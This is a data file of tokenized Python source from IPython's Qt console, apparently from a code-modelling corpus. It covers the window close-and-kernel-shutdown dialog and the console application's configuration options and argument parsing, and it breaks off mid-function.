" ", "exist", "ing", " ", "is", " ", "Tru", "e", ",", " ", "then", " ", "this", " ", "Cons", "ole", " ", "doe", "s", " ", "not", " ", "own", " ", "the", " ", "Kern", "el", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "may", "\\u", "close", " ", "is", " ", "Tru", "e", ",", " ", "then", " ", "this", " ", "Cons", "ole", " ", "is", " ", "permit", "ted", " ", "to", " ", "close", " ", "the", " ", "kernel", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Main", "Window_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "app_", "=_", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "frontend_", "=_", "frontend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "existing_", "=_", "existing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "existing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "may", "\\u", "close_", "=_", "may", "\\u", "close_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "may", "\\u", "close_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "frontend_", "._", "exit", "\\u", "requested_", "._", "connect_", "(_", "self_", "._", "close_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "confirm", "\\u", "exit_", "=_", "confirm", "\\u", "exit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Cent", "ral", "Widget_", "(_", "frontend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Main", "Window_", "(_", "Qt", "Gui_", "._", "QM", "ain", "Window_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "object", "'", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close", "Event_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Clos", "e", " ", "the", " ", "window", " ", "and", " ", "the", " ", "kernel", " ", "(", "if", " ", "necessar", "y", ").", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "will", " ", "prompt", " ", "the", " ", "user", " ", "if", " ", "the", "y", " ", "are", " ", "finish", "ed", " ", "with", " ", "the", " ", "kernel", ",", " ", "and", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "so", ",", " ", "closes", " ", "the", " ", "kernel", " ", "clean", "ly", ".", " ", "Alternative", "ly", ",", " ", "if", " ", "the", " ", "exit", " ", "magic", " ", "is", " ", "used", ",", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "closes", " ", "with", "out", " ", "prompt", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keep", "kernel_", "=_", "None_", "#", "Us", "e", " ", "the", " ", "prompt", " ", "by", " ", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", "._", "\\u", "frontend_", ",_", "'\\u", "keep", "\\u", "kernel", "\\u", "on", "\\u", "exit", "'_", ")_", ":_", "#", "set", " ", "by", " ", "exit", " ", "magic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keep", "kernel_", "=_", "self_", "._", "\\u", "frontend_", "._", "\\u", "keep", "\\u", "kernel", "\\u", "on", "\\u", "exit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kernel", "\\u", "manager_", "=_", "self_", "._", "\\u", "frontend_", "._", "kernel", "\\u", "manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "keep", "kernel_", "is_", "None_", "and_", "not_", "self_", "._", "\\u", "confirm", "\\u", "exit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "don", "'", "t", " ", "prompt", ",", " ", "just", " ", "terminate", " ", "the", " ", "kernel", " ", "if", " ", "we", " ", "own", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "lea", "ve", " ", "it", " ", "alo", "ne", " ", "if", " ", "we", " ", "don", "'", "t_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keep", "kernel_", "=_", "not_", "self_", "._", "\\u", "existing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "keep", "kernel_", "is_", "None_", ":_", "#", "show", " ", "prompt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "kernel", "\\u", "manager_", "and_", "kernel", "\\u", "manager_", "._", "channel", "s", "\\u", "running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "=_", "self_", "._", "window_", "(_", ")_", "._", "window", "Title_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cancel_", "=_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "._", "Cancel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oka", "y_", "=_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "._", "Ok_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "may", "\\u", "close_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "msg_", "=_", "\"", "You", " ", "are", " ", "clos", "ing", " ", "this", " ", "Cons", "ole", " ", "window", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "\"", "Wo", "ul", "d", " ", "you", " ", "like", " ", "to", " ", "quit", " ", "the", " ", "Kern", "el", " ", "and", " ", "all", " ", "attache", "d", " ", "Cons", "ole", "s", " ", "as", " ", "well", "?\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "just", "this_", "=_", "Qt", "Gui_", "._", "QP", "ush", "Button_", "(_", "\"&", "No", ",", " ", "just", " ", "this", " ", "Cons", "ole", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "just", "this_", "._", "set", "Shortcut_", "(_", "'", "N", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "close", "all_", "=_", "Qt", "Gui_", "._", "QP", "ush", "Button_", "(_", "\"&", "Ye", "s", ",", " ", "quit", " ", "every", "thing", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "close", "all_", "._", "set", "Shortcut_", "(_", "'", "Y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "=_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "(_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "._", "Question_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "._", "set", "Informa", "tiv", "e", "Text_", "(_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "._", "add", "Button_", "(_", "cancel_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "._", "add", "Button_", "(_", "just", "this_", ",_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "._", "No", "Role_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "._", "add", "Button_", "(_", "close", "all_", ",_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "._", "Ye", "s", "Role_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "._", "set", "Default", "Button_", "(_", "close", "all_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "._", "set", "Esc", "ape", "Button_", "(_", "cancel_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reply_", "=_", "box_", "._", "exec\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "reply_", "==_", "1_", ":_", "#", " ", "close", " ", "All_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "kernel", "\\u", "manager_", "._", "shut", "down", "\\u", "kernel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "kernel", "\\u", "manage", "r", ".", "stop", "\\u", "channel", "s", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "._", "accept_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "reply_", "==_", "0_", ":_", "#", " ", "close", " ", "Console_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "not_", "self_", "._", "\\u", "existing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ha", "ve", " ", "kernel", ":", " ", "don", "'", "t", " ", "quit", ",", " ", "just", " ", "close", " ", "the", " ", "window_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "app_", "._", "set", "Qui", "t", "On", "Las", "t", "Window", "Closed_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delete", "Later_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "event_", "._", "accept_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "event_", "._", "ignore_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "reply_", "=_", "Qt", "Gui_", "._", "QM", "essage", "Box_", "._", "question_", "(_", "self_", ",_", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Are", " ", "you", " ", "sure", " ", "you", " ", "want", " ", "to", " ", "close", " ", "this", " ", "Cons", "ole", "?\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"\\\\", "n", "The", " ", "Kern", "el", " ", "and", " ", "other", " ", "Cons", "ole", "s", " ", "will", " ", "rema", "in", " ", "active", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "oka", "y_", "|_", "cancel_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "Button_", "=_", "oka", "y_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "reply_", "==_", "oka", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "event_", "._", "accept_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "event_", "._", "ignore_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "keep", "kernel_", ":_", "#", "close", " ", "console", " ", "but", " ", "lea", "ve", " ", "kernel", " ", "runn", "ing", " ", "(", "no", " ", "prompt", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "kernel", "\\u", "manager_", "and_", "kernel", "\\u", "manager_", "._", "channel", "s", "\\u", "running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "\\u", "existing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "I", " ", "have", " ", "the", " ", "kernel", ":", " ", "don", "'", "t", " ", "quit", ",", " ", "just", " ", "close", " ", "the", " ", "window_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "app_", "._", "set", "Qui", "t", "On", "Las", "t", "Window", "Closed_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "event_", "._", "accept_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", "close", " ", "console", " ", "and", " ", "kernel", " ", "(", "no", " ", "prompt", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "kernel", "\\u", "manager_", "and_", "kernel", "\\u", "manager_", "._", "channel", "s", "\\u", "running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kernel", "\\u", "manager_", "._", "shut", "down", "\\u", "kernel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "._", "accept_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "'", "ipython", "-", "qt", "console", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "default", "\\u", "config", "\\u", "file", "\\u", "name_", "=_", "'", "ipython", "\\u", "config", ".", "py", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "IP", "yth", "on", " ", "Qt", "Cons", "ole", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "launch", "es", " ", "a", " ", "Cons", "ole", "-", "style", " ", "applica", "tion", " ", "usi", "ng", " ", "Qt", ".", " ", " ", "It", " ", "is", " ", "not", " ", "a", " ", "full", "\\", "10", ";", " ", " ", " ", " ", "console", ",", " ", "in", " ", "tha", "t", " ", "launched", " ", "termina", "l", " ", "subproc", "esse", "s", " ", "will", " ", "not", " ", "be", " ", "able", " ", "to", " ", "accept", "\\", "10", ";", " ", " ", " ", " ", "input", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Qt", "Cons", "ole", " ", "support", "s", " ", "vari", "ous", " ", "extra", " ", "features", " ", "be", "yon", "d", " ", "the", " ", "Termin", "al", " ", "IP", "yth", "on", "\\", "10", ";", " ", " ", " ", " ", "shell", ",", " ", "suc", "h", " ", "as", " ", "inline", " ", "plott", "ing", " ", "with", " ", "mat", "plotlib", ",", " ", "via", ":", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "ipython", " ", "qt", "console", " ", "--", "pyla", "b", "=", "inline", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "as", " ", "well", " ", "as", " ", "saving", " ", "your", " ", "session", " ", "as", " ", "HTM", "L", ",", " ", "and", " ", "printin", "g", " ", "the", " ", "output", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "examples_", "=_", "\\u", "examples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "classes_", "=_", "[_", "IP", "Kern", "el", "App_", ",_", "IP", "yth", "on", "Widget_", ",_", "ZM", "QI", "nter", "active", "Shell_", ",_", "Profil", "e", "Dir_", ",_", "Session_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flags_", "=_", "Dict_", "(_", "flags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aliases_", "=_", "Dict_", "(_", "aliases_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kernel", "\\u", "argv_", "=_", "List_", "(_", "Unicode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "request", "ed", " ", "profile", "s", " ", "by", " ", "default", ",", " ", "if", " ", "the", "y", " ", "don", "'", "t", " ", "exist", ":_", "\\u\\u\\uNL\\u\\u\\u_", "auto", "\\u", "create_", "=_", "CB", "ool_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "connecti", "on", " ", "info", ":_", "\\u\\u\\uNL\\u\\u\\u_", "ip_", "=_", "Unicode_", "(_", "LOCAL", "HOST_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"\"\"", "Set", " ", "the", " ", "kernel", "\\\\'", "s", " ", "IP", " ", "address", " ", "[", "default", " ", "local", "host", "].", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "IP", " ", "address", " ", "is", " ", "somet", "hing", " ", "other", " ", "than", " ", "local", "host", ",", " ", "then", "\\", "10", ";", " ", " ", " ", " ", "Cons", "ole", "s", " ", "on", " ", "other", " ", "machine", "s", " ", "will", " ", "be", " ", "able", " ", "to", " ", "connect", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "the", " ", "Kern", "el", ",", " ", "so", " ", "be", " ", "care", "ful", "!\"", "\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hb", "\\u", "port_", "=_", "Int_", "(_", "0_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "set", " ", "the", " ", "heart", "beat", " ", "port", " ", "[", "default", ":", " ", "random", "]\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shell", "\\u", "port_", "=_", "Int_", "(_", "0_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "set", " ", "the", " ", "shell", " ", "(", "XR", "EP", ")", " ", "port", " ", "[", "default", ":", " ", "random", "]\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iop", "ub", "\\u", "port_", "=_", "Int_", "(_", "0_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "set", " ", "the", " ", "iop", "ub", " ", "(", "PUB", ")", " ", "port", " ", "[", "default", ":", " ", "random", "]\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "std", "in", "\\u", "port_", "=_", "Int_", "(_", "0_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "set", " ", "the", " ", "std", "in", " ", "(", "XR", "EQ", ")", " ", "port", " ", "[", "default", ":", " ", "random", "]\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "existing_", "=_", "CB", "ool_", "(_", "False_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Whe", "ther", " ", "to", " ", "connect", " ", "to", " ", "an", " ", "alr", "ead", "y", " ", "runn", "ing", " ", "Kern", "el", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stylesheet", "_", "=_", "Unicode_", "(_", "''_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "path", " ", "to", " ", "a", " ", "custom", " ", "CS", "S", " ", "stylesheet", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pure", "_", "=_", "CB", "ool_", "(_", "False_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Us", "e", " ", "a", " ", "pure", " ", "Pyth", "on", " ", "kernel", " ", "inst", "ead", " ", "of", " ", "an", " ", "IP", "yth", "on", " ", "kernel", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plain_", "=_", "CB", "ool_", "(_", "False_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Us", "e", " ", "a", " ", "plain", "text", " ", "widget", " ", "inst", "ead", " ", "of", " ", "rich", " ", "text", " ", "(", "plain", " ", "can", "'", "t", " ", "print", "/", "save", ").\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "plain", "\\u", "changed_", "=_", "\\u", "pure", "\\u", "changed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "confirm", "\\u", "exit_", "=_", "CB", "ool_", "(_", "True_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Set", " ", "to", " ", "display", " ", "confirmation", " ", "dialog", " ", "on", " ", "exit", ".", " ", "You", " ", "can", " ", "alw", "ay", "s", " ", "use", " ", "'", "exit", "'", " ", "or", " ", "'", "quit", "',", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "force", " ", "a", " ", "direct", " ", "exit", " ", "with", "out", " ", "any", " ", "confirmation", ".\"\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "factor", "y", " ", "for", " ", "creati", "ng", " ", "a", " ", "widget_", "\\u\\u\\uNL\\u\\u\\u_", "widget", "\\u", "factory_", "=_", "Any_", "(_", "Rich", "IP", "yth", "on", "Widget_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "pure", "\\u", "changed_", "(_", "self_", ",_", "name_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "'", "plain", "'_", "if_", "self_", "._", "plain_", "else_", "'", "rich", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "config_", "._", "Cons", "ole", "Widget_", "._", "kind_", "=_", "kind_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "pure", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "widget", "\\u", "factory_", "=_", "Front", "end", "Widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "plain_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "widget", "\\u", "factory_", "=_", "IP", "yth", "on", "Widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "widget", "\\u", "factory_", "=_", "Rich", "IP", "yth", "on", "Widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "parse", "\\u", "command", "\\u", "line_", "(_", "self_", ",_", "argv_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", ",_", "self_", ")_", "._", "parse", "\\u", "command", "\\u", "line_", "(_", "argv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "argv_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "argv_", "=_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "kernel", "\\u", "argv_", "=_", "list_", "(_", "argv_", ")_", "#", " ", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "kernel", " ", "shou", "ld", " ", "inherit", " ", "default", " ", "config", " ", "file", " ", "from", " ", "frontend_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "kernel", "\\u", "argv_", "._", "append_", "(_", "\"--", "Kern", "el", "App", ".", "parent", "\\u", "app", "name", "='", "%", "s", "'\"_", "%_", "self_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scrub", " ", "front", "end", "-", "specific", " ", "flags_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "a_", "in_", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "a_", "._", "startswith_", "(_", "'-'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "a_", "._", "lstrip_", "(_", "'-'_", ")_", "._", "split_", "(_", "'='_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "in_", "qt", "\\u", "flags_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "kernel", "\\u", "argv_", "._", "remove_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "yth", "on", "Qt", "Cons", "ole", "App_", "(_", "Base", "IP", "yth", "on", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "\\u", "kernel", "\\u", "manager_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Don", "'", "t", " ", "let", " ", "Qt", " 